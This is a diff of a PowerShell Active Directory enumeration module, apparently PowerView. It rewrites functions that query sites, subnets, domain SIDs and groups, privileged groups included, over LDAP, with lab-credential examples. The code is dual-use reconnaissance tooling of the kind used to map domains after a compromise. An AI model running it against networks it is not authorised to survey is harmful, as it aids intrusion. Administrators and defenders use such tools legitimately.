-DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField - } -} +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). +.PARAMETER ResultPageSize -function Get-NetOU { -<# - .SYNOPSIS +Specifies the PageSize to set for the LDAP searcher object. - Gets a list of all current OUs in a domain. +.PARAMETER ServerTimeLimit - .PARAMETER OUName +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - The OU name to query for, wildcards accepted. +.PARAMETER SecurityMasks - .PARAMETER GUID +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - Only return OUs with the specified GUID in their gplink property. +.PARAMETER Tombstone - .PARAMETER Domain +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - The domain to query for OUs, defaults to the current domain. +.PARAMETER FindOne - .PARAMETER DomainController +Only return one result object. - Domain controller to reflect LDAP queries through. +.PARAMETER Credential - .PARAMETER ADSpath +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - The LDAP source to search through. +.PARAMETER Raw - .PARAMETER FullData +Switch. Return raw results instead of translating the fields into a custom PSObject. - Switch. Return full OU objects instead of just object names (the default). +.EXAMPLE - .PARAMETER PageSize +Get-DomainSite - The PageSize to set for the LDAP searcher object. +Returns the current sites in the domain. - .PARAMETER Credential +.EXAMPLE - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Get-DomainSite *admin* -Domain testlab.local - .EXAMPLE +Returns all sites with "admin" in their name in the testlab.local domain. - PS C:\> Get-NetOU - - Returns the current OUs in the domain. +.EXAMPLE - .EXAMPLE +Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" - PS C:\> Get-NetOU -OUName *admin* -Domain testlab.local - - Returns all OUs with "admin" in their name in the testlab.local domain. +Returns all sites with linked to the specified group policy object. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetOU -GUID 123-... - - Returns all OUs with linked to the specified group policy object. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSite -Credential $Cred - .EXAMPLE +.OUTPUTS - PS C:\> "*admin*","*server*" | Get-NetOU +PowerView.Site - Get the full OU names for the given search terms piped on the pipeline. +Custom PSObject with translated site property fields. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Site')] [CmdletBinding()] Param ( - [Parameter(ValueFromPipeline=$True)] - [String] - $OUName = '*', + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, + [ValidateNotNullOrEmpty()] [String] - $GUID, + [Alias('GUID')] + $GPLink, + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $DomainController, + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $ADSpath, + $SearchBase, - [Switch] - $FullData, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw ) - begin { - $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + BEGIN { + $SearcherArguments = @{ + 'SearchBasePrefix' = 'CN=Sites,CN=Configuration' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SiteSearcher = Get-DomainSearcher @SearcherArguments } - process { - if ($OUSearcher) { - if ($GUID) { - # if we're filtering for a GUID in .gplink - $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))" - } - else { - $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))" - } - try { - $Results = $OUSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - if ($FullData) { - # convert/process the LDAP fields for each result - $OU = Convert-LDAPProperty -Properties $_.Properties - $OU.PSObject.TypeNames.Add('PowerView.OU') - $OU + PROCESS { + if ($SiteSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" } - else { - # otherwise just returning the ADS paths of the OUs - $_.properties.adspath + catch { + $IdentityFilter += "(name=$IdentityInstance)" } } - $Results.dispose() - $OUSearcher.dispose() } - catch { - Write-Warning $_ + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['GPLink']) { + Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property" + $Filter += "(gplink=*$GPLink*)" } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $SiteSearcher.filter = "(&(objectCategory=site)$Filter)" + Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() } + else { $Results = $SiteSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Site = $_ + } + else { + $Site = Convert-LDAPProperty -Properties $_.Properties + } + $Site.PSObject.TypeNames.Insert(0, 'PowerView.Site') + $Site + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainSite] Error disposing of the Results object" + } + } + $SiteSearcher.dispose() } } } -function Get-NetSite { +function Get-DomainSubnet { <# - .SYNOPSIS +.SYNOPSIS - Gets a list of all current sites in a domain. +Search for all subnets or specific subnets objects in AD. - .PARAMETER SiteName +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty - Site filter string, wildcards accepted. +.DESCRIPTION - .PARAMETER Domain +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties whencreated,usnchanged,...". By default, all subnet objects for +the current domain are returned. - The domain to query for sites, defaults to the current domain. +.PARAMETER Identity - .PARAMETER DomainController +An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'), +or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. - Domain controller to reflect LDAP queries through. +.PARAMETER SiteName - .PARAMETER ADSpath +Only return subnets from the specified SiteName. - The LDAP source to search through. +.PARAMETER Domain - .PARAMETER GUID +Specifies the domain to use for the query, defaults to the current domain. - Only return site with the specified GUID in their gplink property. +.PARAMETER LDAPFilter - .PARAMETER FullData +Specifies an LDAP query string that is used to filter Active Directory objects. - Switch. Return full site objects instead of just object names (the default). +.PARAMETER Properties - .PARAMETER PageSize +Specifies the properties of the output object to retrieve from the server. - The PageSize to set for the LDAP searcher object. +.PARAMETER SearchBase - .PARAMETER Credential +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.PARAMETER Server - .EXAMPLE +Specifies an Active Directory server (domain controller) to bind to. - PS C:\> Get-NetSite -Domain testlab.local -FullData - - Returns the full data objects for all sites in testlab.local -#> +.PARAMETER SearchScope - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [String] - $SiteName = "*", +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - [String] - $Domain, +.PARAMETER ResultPageSize - [String] - $DomainController, +Specifies the PageSize to set for the LDAP searcher object. - [String] - $ADSpath, +.PARAMETER ServerTimeLimit - [String] - $GUID, +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - [Switch] - $FullData, +.PARAMETER SecurityMasks - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - [Management.Automation.PSCredential] - $Credential - ) +.PARAMETER Tombstone - begin { - $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize - } - process { - if($SiteSearcher) { +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - if ($GUID) { - # if we're filtering for a GUID in .gplink - $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))" - } - else { - $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))" - } - - try { - $Results = $SiteSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - if ($FullData) { - # convert/process the LDAP fields for each result - $Site = Convert-LDAPProperty -Properties $_.Properties - $Site.PSObject.TypeNames.Add('PowerView.Site') - $Site - } - else { - # otherwise just return the site name - $_.properties.name - } - } - $Results.dispose() - $SiteSearcher.dispose() - } - catch { - Write-Verbose $_ - } - } - } -} +.PARAMETER FindOne +Only return one result object. -function Get-NetSubnet { -<# - .SYNOPSIS - - Gets a list of all current subnets in a domain. - - .PARAMETER SiteName +.PARAMETER Credential - Only return subnets from the specified SiteName. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER Domain +.PARAMETER Raw - The domain to query for subnets, defaults to the current domain. +Switch. Return raw results instead of translating the fields into a custom PSObject. - .PARAMETER DomainController +.EXAMPLE - Domain controller to reflect LDAP queries through. +Get-DomainSubnet - .PARAMETER ADSpath +Returns the current subnets in the domain. - The LDAP source to search through. +.EXAMPLE - .PARAMETER FullData +Get-DomainSubnet *admin* -Domain testlab.local - Switch. Return full subnet objects instead of just object names (the default). +Returns all subnets with "admin" in their name in the testlab.local domain. - .PARAMETER PageSize +.EXAMPLE - The PageSize to set for the LDAP searcher object. +Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" - .PARAMETER Credential +Returns all subnets with linked to the specified group policy object. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.EXAMPLE - .EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSubnet -Credential $Cred - PS C:\> Get-NetSubnet - - Returns all subnet names in the current domain. +.OUTPUTS - .EXAMPLE +PowerView.Subnet - PS C:\> Get-NetSubnet -Domain testlab.local -FullData - - Returns the full data objects for all subnets in testlab.local +Custom PSObject with translated subnet property fields. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Subnet')] [CmdletBinding()] Param ( - [Parameter(ValueFromPipeline=$True)] + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] [String] - $SiteName = "*", + $SiteName, + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $ADSpath, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $DomainController, + $Server, - [Switch] - $FullData, + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw ) - begin { - $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize + BEGIN { + $SearcherArguments = @{ + 'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SubnetSearcher = Get-DomainSearcher @SearcherArguments } - process { - if($SubnetSearcher) { + PROCESS { + if ($SubnetSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } - $SubnetSearcher.filter="(&(objectCategory=subnet))" + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } - try { - $Results = $SubnetSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - if ($FullData) { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" } - } - else { - # otherwise just return the subnet name and site name - if ( ($SiteName -and ($_.properties.siteobject -match "CN=$SiteName,")) -or ($SiteName -eq '*')) { + $SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)" + Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)" - $SubnetProperties = @{ - 'Subnet' = $_.properties.name[0] - } - try { - $SubnetProperties['Site'] = ($_.properties.siteobject[0]).split(",")[0] - } - catch { - $SubnetProperties['Site'] = 'Error' - } + if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() } + else { $Results = $SubnetSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Subnet = $_ + } + else { + $Subnet = Convert-LDAPProperty -Properties $_.Properties + } + $Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet') - New-Object -TypeName PSObject -Property $SubnetProperties - } + if ($PSBoundParameters['SiteName']) { + # have to do the filtering after the LDAP query as LDAP doesn't let you specify + # wildcards for 'siteobject' :( + if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) { + $Subnet } + elseif ($Subnet.siteobject -like "*$SiteName*") { + $Subnet + } + } + else { + $Subnet } - $Results.dispose() - $SubnetSearcher.dispose() } - catch { - Write-Warning $_ + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_" + } } + $SubnetSearcher.dispose() } } } @@ -5010,244 +8256,459 @@ function Get-NetSubnet { function Get-DomainSID { <# - .SYNOPSIS +.SYNOPSIS + +Returns the SID for the current domain or the specified domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer + +.DESCRIPTION + +Returns the SID for the current domain or the specified domain by executing +Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192) +to search for domain controllers through LDAP. The SID of the returned domain controller +is then extracted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server - Gets the SID for the domain. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER Domain +.PARAMETER Credential - The domain to query, defaults to the current domain. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER DomainController +.EXAMPLE - Domain controller to reflect LDAP queries through. +Get-DomainSID - .EXAMPLE +.EXAMPLE - C:\> Get-DomainSID -Domain TEST - - Returns SID for the domain 'TEST' +Get-DomainSID -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSID -Credential $Cred + +.OUTPUTS + +String + +A string representing the specified domain SID. #> - param( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $DomainController + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - $DCSID = Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid - if($DCSID) { - $DCSID.Substring(0, $DCSID.LastIndexOf('-')) + $SearcherArguments = @{ + 'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid + + if ($DCSID) { + $DCSID.SubString(0, $DCSID.LastIndexOf('-')) } else { - Write-Verbose "Error extracting domain SID for $Domain" + Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'" } } -function Get-NetGroup { +function Get-DomainGroup { <# - .SYNOPSIS +.SYNOPSIS + +Return all groups or specific group objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all group objects for +the current domain are returned. To return the groups a specific user/group is +a part of, use -MemberIdentity X to execute token groups enumeration. + +.PARAMETER Identity + +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. Wildcards accepted. + +.PARAMETER MemberIdentity + +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the user/group member to query for group membership. + +.PARAMETER AdminCount + +Switch. Return users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase - Gets a list of all current groups in a domain, or all - the groups a given user/group object belongs to. +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - .PARAMETER GroupName +.PARAMETER Server - The group name to query for, wildcards accepted. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER SID +.PARAMETER SearchScope - The group SID to query for. +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER UserName +.PARAMETER ResultPageSize - The user name (or group name) to query for all effective - groups of. +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER Filter +.PARAMETER ServerTimeLimit - A customized ldap filter string to use, e.g. "(description=*admin*)" +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER Domain +.PARAMETER SecurityMasks - The domain to query for groups, defaults to the current domain. +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - .PARAMETER DomainController +.PARAMETER Tombstone - Domain controller to reflect LDAP queries through. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER ADSpath +.PARAMETER FindOne - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Only return one result object. - .PARAMETER AdminCount +.PARAMETER Credential - Switch. Return group with adminCount=1. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER FullData +.PARAMETER Raw - Switch. Return full group objects instead of just object names (the default). +Switch. Return raw results instead of translating the fields into a custom PSObject. - .PARAMETER RawSids +.EXAMPLE - Switch. Return raw SIDs when using "Get-NetGroup -UserName X" +Get-DomainGroup | select samaccountname - .PARAMETER PageSize +samaccountname +-------------- +WinRMRemoteWMIUsers__ +Administrators +Users +Guests +Print Operators +Backup Operators +... - The PageSize to set for the LDAP searcher object. +.EXAMPLE - .PARAMETER Credential +Get-DomainGroup *admin* | select distinguishedname - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +distinguishedname +----------------- +CN=Administrators,CN=Builtin,DC=testlab,DC=local +CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local +CN=Schema Admins,CN=Users,DC=testlab,DC=local +CN=Enterprise Admins,CN=Users,DC=testlab,DC=local +CN=Domain Admins,CN=Users,DC=testlab,DC=local +CN=DnsAdmins,CN=Users,DC=testlab,DC=local +CN=Server Admins,CN=Users,DC=testlab,DC=local +CN=Desktop Admins,CN=Users,DC=testlab,DC=local - .PARAMETER AllTypes +.EXAMPLE - By default we will retrieve only Security, not Distribution Groups. +Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl - .EXAMPLE +samaccountname +-------------- +Server Admins - PS C:\> Get-NetGroup +.EXAMPLE - Returns the current security groups in the domain. +'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose +VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local +VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local))) - .EXAMPLE +usncreated : 13245 +grouptype : -2147483646 +samaccounttype : 268435456 +samaccountname : Desktop Admins +whenchanged : 8/10/2016 12:30:30 AM +objectsid : S-1-5-21-890171859-3433809279-3366196753-1118 +objectclass : {top, group} +cn : Desktop Admins +usnchanged : 13255 +dscorepropagationdata : 1/1/1601 12:00:00 AM +name : Desktop Admins +distinguishedname : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +member : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +whencreated : 8/10/2016 12:29:43 AM +instancetype : 4 +objectguid : f37903ed-b333-49f4-abaa-46c65e9cca71 +objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local - PS C:\> Get-NetGroup -GroupName *admin* +.EXAMPLE - Returns all groups with "admin" in their group name. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroup -Credential $Cred - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetGroup -Domain testing -FullData +Get-Domain | Select-Object -Expand name +testlab.local - Returns full group data objects in the 'testing' domain +'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainGroup] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainGroup] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins))) + +distinguishedname +----------------- +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local + +.OUTPUTS + +PowerView.Group + +Custom PSObject with translated group property fields. #> - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [String] - $GroupName = '*', + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.Group')] + [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + [ValidateNotNullOrEmpty()] + [Alias('UserName')] [String] - $SID, + $MemberIdentity, + [Switch] + $AdminCount, + + [ValidateNotNullOrEmpty()] [String] - $UserName, + $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $Filter, + $LDAPFilter, + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $Domain, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $DomainController, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $ADSpath, + $SearchScope = 'Subtree', - [Switch] - $AdminCount, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [Switch] - $FullData, + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - [Switch] - $RawSids, + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, [Switch] - $AllTypes, + $Tombstone, - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, + [Alias('ReturnOne')] + [Switch] + $FindOne, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw ) - begin { - $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - if (!$AllTypes) - { - $Filter += "(groupType:1.2.840.113556.1.4.803:=2147483648)" - } + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 